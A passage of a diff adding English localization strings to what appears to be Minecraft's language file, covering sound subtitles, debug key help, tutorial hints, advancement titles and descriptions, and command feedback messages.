"subtitles.entity.shulker.shoot": "Shulker shoots", + "subtitles.entity.shulker.teleport": "Shulker teleports", + "subtitles.entity.shulker_bullet.hit": "Shulker bullet explodes", + "subtitles.entity.shulker_bullet.hurt": "Shulker bullet breaks", + "subtitles.entity.silverfish.ambient": "Silverfish hisses", + "subtitles.entity.silverfish.death": "Silverfish dies", + "subtitles.entity.silverfish.hurt": "Silverfish hurts", + "subtitles.entity.skeleton.ambient": "Skeleton rattles", + "subtitles.entity.skeleton.death": "Skeleton dies", + "subtitles.entity.skeleton.hurt": "Skeleton hurts", + "subtitles.entity.skeleton.shoot": "Skeleton shoots", + "subtitles.entity.skeleton_horse.ambient": "Skeleton Horse cries", + "subtitles.entity.skeleton_horse.death": "Skeleton Horse dies", + "subtitles.entity.skeleton_horse.hurt": "Skeleton Horse hurts", + "subtitles.entity.skeleton_horse.swim": "Skeleton Horse swims", + "subtitles.entity.slime.attack": "Slime attacks", + "subtitles.entity.slime.death": "Slime dies", + "subtitles.entity.slime.hurt": "Slime hurts", + "subtitles.entity.slime.squish": "Slime squishes", + "subtitles.entity.snow_golem.death": "Snow Golem dies", + "subtitles.entity.snow_golem.hurt": "Snow Golem hurts", + "subtitles.entity.snowball.throw": "Snowball flies", + "subtitles.entity.spider.ambient": "Spider hisses", + "subtitles.entity.spider.death": "Spider dies", + "subtitles.entity.spider.hurt": "Spider hurts", + "subtitles.entity.squid.ambient": "Squid swims", + "subtitles.entity.squid.death": "Squid dies", + "subtitles.entity.squid.hurt": "Squid hurts", + "subtitles.entity.squid.squirt": "Squid shoots ink", + "subtitles.entity.stray.ambient": "Stray rattles", + "subtitles.entity.stray.death": "Stray dies", + "subtitles.entity.stray.hurt": "Stray hurts", + "subtitles.entity.strider.death": "Strider dies", + "subtitles.entity.strider.eat": "Strider eats", + "subtitles.entity.strider.happy": "Strider warbles", + "subtitles.entity.strider.hurt": "Strider hurts", + "subtitles.entity.strider.idle": "Strider chirps", + "subtitles.entity.strider.retreat": "Strider retreats", + "subtitles.entity.tnt.primed": "TNT fizzes", + "subtitles.entity.tropical_fish.death": "Tropical Fish dies", + "subtitles.entity.tropical_fish.flop": "Tropical Fish flops", + "subtitles.entity.tropical_fish.hurt": "Tropical Fish hurts", + "subtitles.entity.turtle.ambient_land": "Turtle chirps", + "subtitles.entity.turtle.death": "Turtle dies", + "subtitles.entity.turtle.death_baby": "Turtle baby dies", + "subtitles.entity.turtle.egg_break": "Turtle Egg breaks", + "subtitles.entity.turtle.egg_crack": "Turtle Egg cracks", + "subtitles.entity.turtle.egg_hatch": "Turtle Egg hatches", + "subtitles.entity.turtle.hurt": "Turtle hurts", + "subtitles.entity.turtle.hurt_baby": "Turtle baby hurts", + "subtitles.entity.turtle.lay_egg": "Turtle lays egg", + "subtitles.entity.turtle.shamble": "Turtle shambles", + "subtitles.entity.turtle.shamble_baby": "Turtle baby shambles", + "subtitles.entity.turtle.swim": "Turtle swims", + "subtitles.entity.vex.ambient": "Vex vexes", + "subtitles.entity.vex.charge": "Vex shrieks", + "subtitles.entity.vex.death": "Vex dies", + "subtitles.entity.vex.hurt": "Vex hurts", + "subtitles.entity.villager.ambient": "Villager mumbles", + "subtitles.entity.villager.celebrate": "Villager cheers", + "subtitles.entity.villager.death": "Villager dies", + "subtitles.entity.villager.hurt": "Villager hurts", + "subtitles.entity.villager.no": "Villager disagrees", + "subtitles.entity.villager.trade": "Villager trades", + "subtitles.entity.villager.work_armorer": "Armorer works", + "subtitles.entity.villager.work_butcher": "Butcher works", + "subtitles.entity.villager.work_cartographer": "Cartographer works", + "subtitles.entity.villager.work_cleric": "Cleric works", + "subtitles.entity.villager.work_farmer": "Farmer works", + "subtitles.entity.villager.work_fisherman": "Fisherman works", + "subtitles.entity.villager.work_fletcher": "Fletcher works", + "subtitles.entity.villager.work_leatherworker": "Leatherworker works", + "subtitles.entity.villager.work_librarian": "Librarian works", + "subtitles.entity.villager.work_mason": "Mason works", + "subtitles.entity.villager.work_shepherd": "Shepherd works", + "subtitles.entity.villager.work_toolsmith": "Toolsmith works", + "subtitles.entity.villager.work_weaponsmith": "Weaponsmith works", + "subtitles.entity.villager.yes": "Villager agrees", + "subtitles.entity.vindicator.ambient": "Vindicator mutters", + "subtitles.entity.vindicator.celebrate": "Vindicator cheers", + "subtitles.entity.vindicator.death": "Vindicator dies", + "subtitles.entity.vindicator.hurt": "Vindicator hurts", + "subtitles.entity.wandering_trader.ambient": "Wandering Trader mumbles", + "subtitles.entity.wandering_trader.death": "Wandering Trader dies", + "subtitles.entity.wandering_trader.disappeared": "Wandering Trader disappears", + "subtitles.entity.wandering_trader.drink_milk": "Wandering Trader drinks milk", + "subtitles.entity.wandering_trader.drink_potion": "Wandering Trader drinks potion", + "subtitles.entity.wandering_trader.hurt": "Wandering Trader hurts", + "subtitles.entity.wandering_trader.no": "Wandering Trader disagrees", + "subtitles.entity.wandering_trader.reappeared": "Wandering Trader appears", + "subtitles.entity.wandering_trader.trade": "Wandering Trader trades", + "subtitles.entity.wandering_trader.yes": "Wandering Trader agrees", + "subtitles.entity.witch.ambient": "Witch giggles", + "subtitles.entity.witch.celebrate": "Witch cheers", + "subtitles.entity.witch.death": "Witch dies", + "subtitles.entity.witch.drink": "Witch drinks", + "subtitles.entity.witch.hurt": "Witch hurts", + "subtitles.entity.witch.throw": "Witch throws", + "subtitles.entity.wither.ambient": "Wither angers", + "subtitles.entity.wither.death": "Wither dies", + "subtitles.entity.wither.hurt": "Wither hurts", + "subtitles.entity.wither.shoot": "Wither attacks", + "subtitles.entity.wither.spawn": "Wither released", + "subtitles.entity.wither_skeleton.ambient": "Wither Skeleton rattles", + "subtitles.entity.wither_skeleton.death": "Wither Skeleton dies", + "subtitles.entity.wither_skeleton.hurt": "Wither Skeleton hurts", + "subtitles.entity.wolf.ambient": "Wolf pants", + "subtitles.entity.wolf.death": "Wolf dies", + "subtitles.entity.wolf.growl": "Wolf growls", + "subtitles.entity.wolf.hurt": "Wolf hurts", + "subtitles.entity.wolf.shake": "Wolf shakes", + "subtitles.entity.zoglin.ambient": "Zoglin growls", + "subtitles.entity.zoglin.angry": "Zoglin growls angrily", + "subtitles.entity.zoglin.attack": "Zoglin attacks", + "subtitles.entity.zoglin.death": "Zoglin dies", + "subtitles.entity.zoglin.hurt": "Zoglin hurts", + "subtitles.entity.zoglin.step": "Zoglin steps", + "subtitles.entity.zombie.ambient": "Zombie groans", + "subtitles.entity.zombie.attack_wooden_door": "Door shakes", + "subtitles.entity.zombie.converted_to_drowned": "Zombie converts to Drowned", + "subtitles.entity.zombie.break_wooden_door": "Door breaks", + "subtitles.entity.zombie.death": "Zombie dies", + "subtitles.entity.zombie.destroy_egg": "Turtle Egg stomped", + "subtitles.entity.zombie.hurt": "Zombie hurts", + "subtitles.entity.zombie.infect": "Zombie infects", + "subtitles.entity.zombie_horse.ambient": "Zombie Horse cries", + "subtitles.entity.zombie_horse.death": "Zombie Horse dies", + "subtitles.entity.zombie_horse.hurt": "Zombie Horse hurts", + "subtitles.entity.zombie_villager.ambient": "Zombie Villager groans", + "subtitles.entity.zombie_villager.converted": "Zombie Villager vociferates", + "subtitles.entity.zombie_villager.cure": "Zombie Villager snuffles", + "subtitles.entity.zombie_villager.death": "Zombie Villager dies", + "subtitles.entity.zombie_villager.hurt": "Zombie Villager hurts", + "subtitles.entity.zombified_piglin.ambient": "Zombified Piglin grunts", + "subtitles.entity.zombified_piglin.angry": "Zombified Piglin grunts angrily", + "subtitles.entity.zombified_piglin.death": "Zombified Piglin dies", + "subtitles.entity.zombified_piglin.hurt": "Zombified Piglin hurts", + "subtitles.event.raid.horn": "Ominous horn blares", + "subtitles.item.armor.equip": "Gear equips", + "subtitles.item.armor.equip_chain": "Chain armor jingles", + "subtitles.item.armor.equip_diamond": "Diamond armor clangs", + "subtitles.item.armor.equip_elytra": "Elytra rustle", + "subtitles.item.armor.equip_gold": "Gold armor clinks", + "subtitles.item.armor.equip_iron": "Iron armor clanks", + "subtitles.item.armor.equip_leather": "Leather armor rustles", + "subtitles.item.armor.equip_netherite": "Netherite armor clanks", + "subtitles.item.armor.equip_turtle": "Turtle Shell thunks", + "subtitles.item.axe.strip": "Axe scrapes", + "subtitles.item.berries.pick": "Berries pop", + "subtitles.item.book.page_turn": "Page rustles", + "subtitles.item.book.put": "Book thumps", + "subtitles.item.bottle.empty": "Bottle empties", + "subtitles.item.bottle.fill": "Bottle fills", + "subtitles.item.bucket.empty": "Bucket empties", + "subtitles.item.bucket.fill": "Bucket fills", + "subtitles.item.bucket.fill_fish": "Fish captured", + "subtitles.item.chorus_fruit.teleport": "Player teleports", + "subtitles.item.crop.plant": "Crop planted", + "subtitles.item.crossbow.charge": "Crossbow charges up", + "subtitles.item.crossbow.hit": "Arrow hits", + "subtitles.item.crossbow.load": "Crossbow loads", + "subtitles.item.crossbow.shoot": "Crossbow fires", + "subtitles.item.firecharge.use": "Fireball whooshes", + "subtitles.item.flintandsteel.use": "Flint and Steel click", + "subtitles.item.hoe.till": "Hoe tills", + "subtitles.item.honey_bottle.drink": "Gulping", + "subtitles.item.lodestone_compass.lock": "Lodestone Compass locks onto Lodestone", + "subtitles.item.nether_wart.plant": "Crop planted", + "subtitles.item.shears.shear": "Shears click", + "subtitles.item.shield.block": "Shield blocks", + "subtitles.item.shovel.flatten": "Shovel flattens", + "subtitles.item.totem.use": "Totem activates", + "subtitles.item.trident.hit": "Trident stabs", + "subtitles.item.trident.hit_ground": "Trident vibrates", + "subtitles.item.trident.return": "Trident returns", + "subtitles.item.trident.riptide": "Trident zooms", + "subtitles.item.trident.throw": "Trident clangs", + "subtitles.item.trident.thunder": "Trident thunder cracks", + "subtitles.particle.soul_escape": "Soul escapes", + "subtitles.ui.cartography_table.take_result": "Map drawn", + "subtitles.ui.loom.take_result": "Loom used", + "subtitles.ui.stonecutter.take_result": "Stonecutter used", + "subtitles.weather.rain": "Rain falls", + "debug.prefix": "[Debug]:", + "debug.reload_chunks.help": "F3 + A = Reload chunks", + "debug.show_hitboxes.help": "F3 + B = Show hitboxes", + "debug.clear_chat.help": "F3 + D = Clear chat", + "debug.cycle_renderdistance.help": "F3 + F = Cycle render distance (shift to invert)", + "debug.chunk_boundaries.help": "F3 + G = Show chunk boundaries", + "debug.advanced_tooltips.help": "F3 + H = Advanced tooltips", + "debug.creative_spectator.help": "F3 + N = Cycle previous gamemode <-> spectator", + "debug.pause_focus.help": "F3 + P = Pause on lost focus", + "debug.help.help": "F3 + Q = Show this list", + "debug.reload_resourcepacks.help": "F3 + T = Reload resource packs", + "debug.pause.help": "F3 + Esc = Pause without pause menu (if pausing is possible)", + "debug.copy_location.help": "F3 + C = Copy location as /tp command, hold F3 + C to crash the game", + "debug.inspect.help": "F3 + I = Copy entity or block data to clipboard", + "debug.gamemodes.help": "F3 + F4 = Open game mode switcher", + "debug.copy_location.message": "Copied location to clipboard", + "debug.inspect.server.block": "Copied server-side block data to clipboard", + "debug.inspect.server.entity": "Copied server-side entity data to clipboard", + "debug.inspect.client.block": "Copied client-side block data to clipboard", + "debug.inspect.client.entity": "Copied client-side entity data to clipboard", + "debug.reload_chunks.message": "Reloading all chunks", + "debug.show_hitboxes.on": "Hitboxes: shown", + "debug.show_hitboxes.off": "Hitboxes: hidden", + "debug.cycle_renderdistance.message": "Render Distance: %s", + "debug.chunk_boundaries.on": "Chunk borders: shown", + "debug.chunk_boundaries.off": "Chunk borders: hidden", + "debug.advanced_tooltips.on": "Advanced tooltips: shown", + "debug.advanced_tooltips.off": "Advanced tooltips: hidden", + "debug.creative_spectator.error": "Unable to switch gamemode; no permission", + "debug.gamemodes.error": "Unable to open game mode switcher; no permission", + "debug.pause_focus.on": "Pause on lost focus: enabled", + "debug.pause_focus.off": "Pause on lost focus: disabled", + "debug.help.message": "Key bindings:", + "debug.reload_resourcepacks.message": "Reloaded resource packs", + "debug.crash.message": "F3 + C is held down. This will crash the game unless released.", + "debug.crash.warning": "Crashing in %s...", + "debug.gamemodes.press_f4": "[ F4 ]", + "debug.gamemodes.select_next": "%s Next", + "resourcepack.downloading": "Downloading Resource Pack", + "resourcepack.requesting": "Making Request...", + "resourcepack.progress": "Downloading file (%s MB)...", + "tutorial.move.title": "Move with %s, %s, %s and %s", + "tutorial.move.description": "Jump with %s", + "tutorial.look.title": "Look around", + "tutorial.look.description": "Use your mouse to turn", + "tutorial.find_tree.title": "Find a tree", + "tutorial.find_tree.description": "Punch it to collect wood", + "tutorial.punch_tree.title": "Destroy the tree", + "tutorial.punch_tree.description": "Hold down %s", + "tutorial.open_inventory.title": "Open your inventory", + "tutorial.open_inventory.description": "Press %s", + "tutorial.craft_planks.title": "Craft wooden planks", + "tutorial.craft_planks.description": "The recipe book can help", + "tutorial.socialInteractions.title": "Social Interactions", + "tutorial.socialInteractions.description": "Press %s to open", + "advancements.adventure.adventuring_time.title": "Adventuring Time", + "advancements.adventure.adventuring_time.description": "Discover every biome", + "advancements.adventure.arbalistic.title": "Arbalistic", + "advancements.adventure.arbalistic.description": "Kill five unique mobs with one crossbow shot", + "advancements.adventure.bullseye.title": "Bullseye", + "advancements.adventure.bullseye.description": "Hit the bullseye of a Target block from at least 30 meters away", + "advancements.adventure.hero_of_the_village.title": "Hero of the Village", + "advancements.adventure.hero_of_the_village.description": "Successfully defend a village from a raid", + "advancements.adventure.honey_block_slide.title": "Sticky Situation", + "advancements.adventure.honey_block_slide.description": "Jump into a Honey Block to break your fall", + "advancements.adventure.kill_all_mobs.title": "Monsters Hunted", + "advancements.adventure.kill_all_mobs.description": "Kill one of every hostile monster", + "advancements.adventure.kill_a_mob.title": "Monster Hunter", + "advancements.adventure.kill_a_mob.description": "Kill any hostile monster", + "advancements.adventure.ol_betsy.title": "Ol' Betsy", + "advancements.adventure.ol_betsy.description": "Shoot a crossbow", + "advancements.adventure.root.title": "Adventure", + "advancements.adventure.root.description": "Adventure, exploration and combat", + "advancements.adventure.shoot_arrow.title": "Take Aim", + "advancements.adventure.shoot_arrow.description": "Shoot something with an arrow", + "advancements.adventure.sleep_in_bed.title": "Sweet Dreams", + "advancements.adventure.sleep_in_bed.description": "Sleep in a bed to change your respawn point", + "advancements.adventure.sniper_duel.title": "Sniper Duel", + "advancements.adventure.sniper_duel.description": "Kill a Skeleton from at least 50 meters away", + "advancements.adventure.summon_iron_golem.title": "Hired Help", + "advancements.adventure.summon_iron_golem.description": "Summon an Iron Golem to help defend a village", + "advancements.adventure.totem_of_undying.title": "Postmortal", + "advancements.adventure.totem_of_undying.description": "Use a Totem of Undying to cheat death", + "advancements.adventure.trade.title": "What a Deal!", + "advancements.adventure.trade.description": "Successfully trade with a Villager", + "advancements.adventure.throw_trident.title": "A Throwaway Joke", + "advancements.adventure.throw_trident.description": "Throw a trident at something.\nNote: Throwing away your only weapon is not a good idea.", + "advancements.adventure.two_birds_one_arrow.title": "Two Birds, One Arrow", + "advancements.adventure.two_birds_one_arrow.description": "Kill two Phantoms with a piercing arrow", + "advancements.adventure.very_very_frightening.title": "Very Very Frightening", + "advancements.adventure.very_very_frightening.description": "Strike a Villager with lightning", + "advancements.adventure.voluntary_exile.title": "Voluntary Exile", + "advancements.adventure.voluntary_exile.description": "Kill a raid captain.\nMaybe consider staying away from villages for the time being...", + "advancements.adventure.whos_the_pillager_now.title": "Who's the Pillager Now?", + "advancements.adventure.whos_the_pillager_now.description": "Give a Pillager a taste of their own medicine", + "advancements.husbandry.root.title": "Husbandry", + "advancements.husbandry.root.description": "The world is full of friends and food", + "advancements.husbandry.breed_an_animal.title": "The Parrots and the Bats", + "advancements.husbandry.breed_an_animal.description": "Breed two animals together", + "advancements.husbandry.fishy_business.title": "Fishy Business", + "advancements.husbandry.fishy_business.description": "Catch a fish", + "advancements.husbandry.tactical_fishing.title": "Tactical Fishing", + "advancements.husbandry.tactical_fishing.description": "Catch a fish... without a fishing rod!", + "advancements.husbandry.breed_all_animals.title": "Two by Two", + "advancements.husbandry.breed_all_animals.description": "Breed all the animals!", + "advancements.husbandry.tame_an_animal.title": "Best Friends Forever", + "advancements.husbandry.tame_an_animal.description": "Tame an animal", + "advancements.husbandry.plant_seed.title": "A Seedy Place", + "advancements.husbandry.plant_seed.description": "Plant a seed and watch it grow", + "advancements.husbandry.netherite_hoe.title": "Serious Dedication", + "advancements.husbandry.netherite_hoe.description": "Use a Netherite ingot to upgrade a hoe, and then reevaluate your life choices", + "advancements.husbandry.balanced_diet.title": "A Balanced Diet", + "advancements.husbandry.balanced_diet.description": "Eat everything that is edible, even if it's not good for you", + "advancements.husbandry.complete_catalogue.title": "A Complete Catalogue", + "advancements.husbandry.complete_catalogue.description": "Tame all cat variants!", + "advancements.husbandry.safely_harvest_honey.title": "Bee Our Guest", + "advancements.husbandry.safely_harvest_honey.description": "Use a Campfire to collect Honey from a Beehive using a Bottle without aggravating the bees", + "advancements.husbandry.silk_touch_nest.title": "Total Beelocation", + "advancements.husbandry.silk_touch_nest.description": "Move a Bee Nest, with 3 bees inside, using Silk Touch", + "advancements.end.dragon_breath.title": "You Need a Mint", + "advancements.end.dragon_breath.description": "Collect dragon's breath in a glass bottle", + "advancements.end.dragon_egg.title": "The Next Generation", + "advancements.end.dragon_egg.description": "Hold the Dragon Egg", + "advancements.end.elytra.title": "Sky's the Limit", + "advancements.end.elytra.description": "Find elytra", + "advancements.end.enter_end_gateway.title": "Remote Getaway", + "advancements.end.enter_end_gateway.description": "Escape the island", + "advancements.end.find_end_city.title": "The City at the End of the Game", + "advancements.end.find_end_city.description": "Go on in, what could happen?", + "advancements.end.kill_dragon.title": "Free the End", + "advancements.end.kill_dragon.description": "Good luck", + "advancements.end.levitate.title": "Great View From Up Here", + "advancements.end.levitate.description": "Levitate up 50 blocks from the attacks of a Shulker", + "advancements.end.respawn_dragon.title": "The End... Again...", + "advancements.end.respawn_dragon.description": "Respawn the Ender Dragon", + "advancements.end.root.title": "The End", + "advancements.end.root.description": "Or the beginning?", + "advancements.nether.brew_potion.title": "Local Brewery", + "advancements.nether.brew_potion.description": "Brew a potion", + "advancements.nether.all_potions.title": "A Furious Cocktail", + "advancements.nether.all_potions.description": "Have every potion effect applied at the same time", + "advancements.nether.all_effects.title": "How Did We Get Here?", + "advancements.nether.all_effects.description": "Have every effect applied at the same time", + "advancements.nether.create_beacon.title": "Bring Home the Beacon", + "advancements.nether.create_beacon.description": "Construct and place a beacon", + "advancements.nether.create_full_beacon.title": "Beaconator", + "advancements.nether.create_full_beacon.description": "Bring a beacon to full power", + "advancements.nether.find_fortress.title": "A Terrible Fortress", + "advancements.nether.find_fortress.description": "Break your way into a Nether Fortress", + "advancements.nether.get_wither_skull.title": "Spooky Scary Skeleton", + "advancements.nether.get_wither_skull.description": "Obtain a Wither Skeleton's skull", + "advancements.nether.obtain_blaze_rod.title": "Into Fire", + "advancements.nether.obtain_blaze_rod.description": "Relieve a Blaze of its rod", + "advancements.nether.return_to_sender.title": "Return to Sender", + "advancements.nether.return_to_sender.description": "Destroy a Ghast with a fireball", + "advancements.nether.root.title": "Nether", + "advancements.nether.root.description": "Bring summer clothes", + "advancements.nether.summon_wither.title": "Withering Heights", + "advancements.nether.summon_wither.description": "Summon the Wither", + "advancements.nether.fast_travel.title": "Subspace Bubble", + "advancements.nether.fast_travel.description": "Use the Nether to travel 7 km in the Overworld", + "advancements.nether.uneasy_alliance.title": "Uneasy Alliance", + "advancements.nether.uneasy_alliance.description": "Rescue a Ghast from the Nether, bring it safely home to the Overworld... and then kill it", + "advancements.nether.obtain_ancient_debris.title": "Hidden in the Depths", + "advancements.nether.obtain_ancient_debris.description": "Obtain Ancient Debris", + "advancements.nether.netherite_armor.title": "Cover Me in Debris", + "advancements.nether.netherite_armor.description": "Get a full suit of Netherite armor", + "advancements.nether.use_lodestone.title": "Country Lode, Take Me Home", + "advancements.nether.use_lodestone.description": "Use a compass on a Lodestone", + "advancements.nether.obtain_crying_obsidian.title": "Who is Cutting Onions?", + "advancements.nether.obtain_crying_obsidian.description": "Obtain Crying Obsidian", + "advancements.nether.charge_respawn_anchor.title": "Not Quite \"Nine\" Lives", + "advancements.nether.charge_respawn_anchor.description": "Charge a Respawn Anchor to the maximum", + "advancements.nether.ride_strider.title": "This Boat Has Legs", + "advancements.nether.ride_strider.description": "Ride a Strider with a Warped Fungus on a Stick", + "advancements.nether.explore_nether.title": "Hot Tourist Destinations", + "advancements.nether.explore_nether.description": "Explore all Nether biomes", + "advancements.nether.find_bastion.title": "Those Were the Days", + "advancements.nether.find_bastion.description": "Enter a Bastion Remnant", + "advancements.nether.loot_bastion.title": "War Pigs", + "advancements.nether.loot_bastion.description": "Loot a chest in a Bastion Remnant", + "advancements.nether.distract_piglin.title": "Oh Shiny", + "advancements.nether.distract_piglin.description": "Distract Piglins with gold", + "advancements.story.cure_zombie_villager.title": "Zombie Doctor", + "advancements.story.cure_zombie_villager.description": "Weaken and then cure a Zombie Villager", + "advancements.story.deflect_arrow.title": "Not Today, Thank You", + "advancements.story.deflect_arrow.description": "Deflect a projectile with a shield", + "advancements.story.enchant_item.title": "Enchanter", + "advancements.story.enchant_item.description": "Enchant an item at an Enchanting Table", + "advancements.story.enter_the_end.title": "The End?", + "advancements.story.enter_the_end.description": "Enter the End Portal", + "advancements.story.enter_the_nether.title": "We Need to Go Deeper", + "advancements.story.enter_the_nether.description": "Build, light and enter a Nether Portal", + "advancements.story.follow_ender_eye.title": "Eye Spy", + "advancements.story.follow_ender_eye.description": "Follow an Eye of Ender", + "advancements.story.form_obsidian.title": "Ice Bucket Challenge", + "advancements.story.form_obsidian.description": "Obtain a block of obsidian", + "advancements.story.iron_tools.title": "Isn't It Iron Pick", + "advancements.story.iron_tools.description": "Upgrade your pickaxe", + "advancements.story.lava_bucket.title": "Hot Stuff", + "advancements.story.lava_bucket.description": "Fill a bucket with lava", + "advancements.story.mine_diamond.title": "Diamonds!", + "advancements.story.mine_diamond.description": "Acquire diamonds", + "advancements.story.mine_stone.title": "Stone Age", + "advancements.story.mine_stone.description": "Mine stone with your new pickaxe", + "advancements.story.obtain_armor.title": "Suit Up", + "advancements.story.obtain_armor.description": "Protect yourself with a piece of iron armor", + "advancements.story.root.title": "Minecraft", + "advancements.story.root.description": "The heart and story of the game", + "advancements.story.shiny_gear.title": "Cover Me With Diamonds", + "advancements.story.shiny_gear.description": "Diamond armor saves lives", + "advancements.story.smelt_iron.title": "Acquire Hardware", + "advancements.story.smelt_iron.description": "Smelt an iron ingot", + "advancements.story.upgrade_tools.title": "Getting an Upgrade", + "advancements.story.upgrade_tools.description": "Construct a better pickaxe", + "team.visibility.always": "Always", + "team.visibility.never": "Never", + "team.visibility.hideForOtherTeams": "Hide for other teams", + "team.visibility.hideForOwnTeam": "Hide for own team", + "team.collision.always": "Always", + "team.collision.never": "Never", + "team.collision.pushOtherTeams": "Push other teams", + "team.collision.pushOwnTeam": "Push own team", + "argument.uuid.invalid": "Invalid UUID", + "argument.entity.selector.nearestPlayer": "Nearest player", + "argument.entity.selector.randomPlayer": "Random player", + "argument.entity.selector.allPlayers": "All players", + "argument.entity.selector.allEntities": "All entities", + "argument.entity.selector.self": "Current entity", + "argument.entity.options.name.description": "Entity name", + "argument.entity.options.distance.description": "Distance to entity", + "argument.entity.options.level.description": "Experience level", + "argument.entity.options.x.description": "x position", + "argument.entity.options.y.description": "y position", + "argument.entity.options.z.description": "z position", + "argument.entity.options.dx.description": "Entities between x and x + dx", + "argument.entity.options.dy.description": "Entities between y and y + dy", + "argument.entity.options.dz.description": "Entities between z and z + dz", + "argument.entity.options.x_rotation.description": "Entity's x rotation", + "argument.entity.options.y_rotation.description": "Entity's y rotation", + "argument.entity.options.limit.description": "Maximum number of entities to return", + "argument.entity.options.sort.description": "Sort the entities", + "argument.entity.options.gamemode.description": "Players with gamemode", + "argument.entity.options.team.description": "Entities on team", + "argument.entity.options.type.description": "Entities of type", + "argument.entity.options.tag.description": "Entities with tag", + "argument.entity.options.nbt.description": "Entities with NBT", + "argument.entity.options.scores.description": "Entities with scores", + "argument.entity.options.advancements.description": "Players with advancements", + "argument.entity.options.predicate.description": "Custom predicate", + "command.failed": "An unexpected error occurred trying to execute that command", + "command.context.here": "<--[HERE]", + "command.context.parse_error": "%s at position %s: %s", + "commands.publish.started": "Local game hosted on port %s", + "commands.publish.failed": "Unable to host local game", + "commands.advancement.advancementNotFound": "No advancement was found by the name '%1$s'", + "commands.advancement.criterionNotFound": "The advancement %1$s does not contain the criterion '%2$s'", + "commands.advancement.grant.one.to.one.success": "Granted the advancement %s to %s", + "commands.advancement.grant.one.to.one.failure": "Couldn't grant advancement %s to %s as they already have it", + "commands.advancement.grant.one.to.many.success": "Granted the advancement %s to %s players", + "commands.advancement.grant.one.to.many.failure": "Couldn't grant advancement %s to %s players as they already have it", + "commands.advancement.grant.many.to.one.success": "Granted %s advancements to %s", + "commands.advancement.grant.many.to.one.failure": "Couldn't grant %s advancements to %s as they already have them", + "commands.advancement.grant.many.to.many.success": "Granted %s advancements to %s players", + "commands.advancement.grant.many.to.many.failure": "Couldn't grant %s advancements to %s players as they already have them", + "commands.advancement.grant.criterion.to.one.success": "Granted criterion '%s' of advancement %s to %s", + "commands.advancement.grant.criterion.to.one.failure": "Couldn't grant criterion '%s' of advancement %s to %s as they already have it", + "commands.advancement.grant.criterion.to.many.success": "Granted criterion '%s' of advancement %s to %s players", + "commands.advancement.grant.criterion.to.many.failure": "Couldn't grant criterion '%s' of advancement %s to %s players as they already have it", + "commands.advancement.revoke.one.to.one.success": "Revoked the advancement %s from %s", + "commands.advancement.revoke.one.to.one.failure": "Couldn't revoke advancement %s from %s as they don't have it", + "commands.advancement.revoke.one.to.many.success": "Revoked the advancement %s from %s players", + "commands.advancement.revoke.one.to.many.failure": "Couldn't revoke advancement %s from %s players as they don't have it", + "commands.advancement.revoke.many.to.one.success": "Revoked %s advancements from %s", + "commands.advancement.revoke.many.to.one.failure": "Couldn't revoke %s advancements from %s as they don't have them", + "commands.advancement.revoke.many.to.many.success": "Revoked %s advancements from %s players", + "commands.advancement.revoke.many.to.many.failure": "Couldn't revoke %s advancements from %s players as they don't have them", + "commands.advancement.revoke.criterion.to.one.success": "Revoked criterion '%s' of advancement %s from %s", + "commands.advancement.revoke.criterion.to.one.failure": "Couldn't revoke criterion '%s' of advancement %s from %s as they don't have it", + "commands.advancement.revoke.criterion.to.many.success": "Revoked criterion '%s' of advancement %s from %s players", + "commands.advancement.revoke.criterion.to.many.failure": "Couldn't revoke criterion '%s' of advancement %s from %s players as they don't have it", + "commands.attribute.failed.entity": "%s is not a valid entity for this command", + "commands.attribute.failed.no_attribute": "Entity %s has no attribute %s", + "commands.attribute.failed.no_modifier": "Attribute %s for entity %s has no modifier %s", + "commands.attribute.failed.modifier_already_present": "Modifier %s is already present on attribute %s for entity %s", + "commands.attribute.value.get.success": "Value of attribute %s for entity %s is %s", + "commands.attribute.base_value.get.success": "Base value of attribute %s for entity %s is %s", + "commands.attribute.base_value.set.success": "Base value for attribute %s for entity %s set to %s", + "commands.attribute.modifier.add.success": "Added modifier %s to attribute %s for entity %s", + "commands.attribute.modifier.remove.success": "Removed modifier %s from attribute %s for entity %s", + "commands.attribute.modifier.value.get.success": "Value of modifier %s on attribute %s for entity %s is %s", + "commands.forceload.added.failure": "No chunks were marked for force loading", + "commands.forceload.added.single": "Marked chunk %s in %s to be force loaded", + "commands.forceload.added.multiple": "Marked %s chunks in %s from %s to %s to be force loaded", + "commands.forceload.query.success": "Chunk at %s in %s is marked for force loading", + "commands.forceload.query.failure": "Chunk at %s in %s is not marked for force loading", + "commands.forceload.list.single": "A force loaded chunk was found in %s at: %s", + "commands.forceload.list.multiple": "%s force loaded chunks were found in %s at: %s", + "commands.forceload.added.none": "No force loaded chunks were found in %s", + "commands.forceload.removed.all": "Unmarked all force loaded chunks in %s", + "commands.forceload.removed.failure": "No chunks were removed from force loading", + "commands.forceload.removed.single": "Unmarked chunk %s in %s for force loading", + "commands.forceload.removed.multiple": "Unmarked %s chunks in %s from %s to %s for force loading", + "commands.forceload.toobig": "Too many chunks in the specified area (maximum %s, specified %s)", + "commands.clear.success.single": "Removed %s items from player %s", + "commands.clear.success.multiple": "Removed %s items from %s players", + "commands.clear.test.single": "Found %s matching items on player %s", + "commands.clear.test.multiple": "Found %s matching items on %s players", + "commands.clone.success": "Successfully cloned %s blocks", + "commands.debug.started": "Started debug profiling", + "commands.debug.stopped": "Stopped debug profiling after %s seconds and %s ticks (%s ticks per second)", + "commands.debug.reportSaved": "Created debug report in %s", + "commands.debug.reportFailed": "Failed to create debug report", + "commands.defaultgamemode.success": "The default game mode is now %s", + "commands.difficulty.success": "The difficulty has been set to %s", + "commands.difficulty.query": "The difficulty is %s", + "commands.drop.no_held_items": "Entity can't hold any items", + "commands.drop.no_loot_table": "Entity %s has no loot table", + "commands.drop.success.single": "Dropped %s %s", + "commands.drop.success.single_with_table": "Dropped %s %s from loot table %s", + "commands.drop.success.multiple": "Dropped %s items", + "commands.drop.success.multiple_with_table": "Dropped %s items from loot table %s", + "commands.effect.give.success.single": "Applied effect %s to %s", + "commands.effect.give.success.multiple": "Applied effect %s to %s targets", + "commands.effect.clear.everything.success.single": "Removed every effect from %s", + "commands.effect.clear.everything.success.multiple": "Removed every effect from %s targets", + "commands.effect.clear.specific.success.single": "Removed effect %s from %s", + "commands.effect.clear.specific.success.multiple": "Removed effect %s from %s targets", + "commands.enchant.success.single": "Applied enchantment %s to %s's item", + "commands.enchant.success.multiple": "Applied enchantment %s to %s entities", + "commands.experience.add.points.success.single": "Gave %s experience points to %s", + "commands.experience.add.points.success.multiple": "Gave %s experience points to %s players", + "commands.experience.add.levels.success.single": "Gave %s experience levels to %s", + 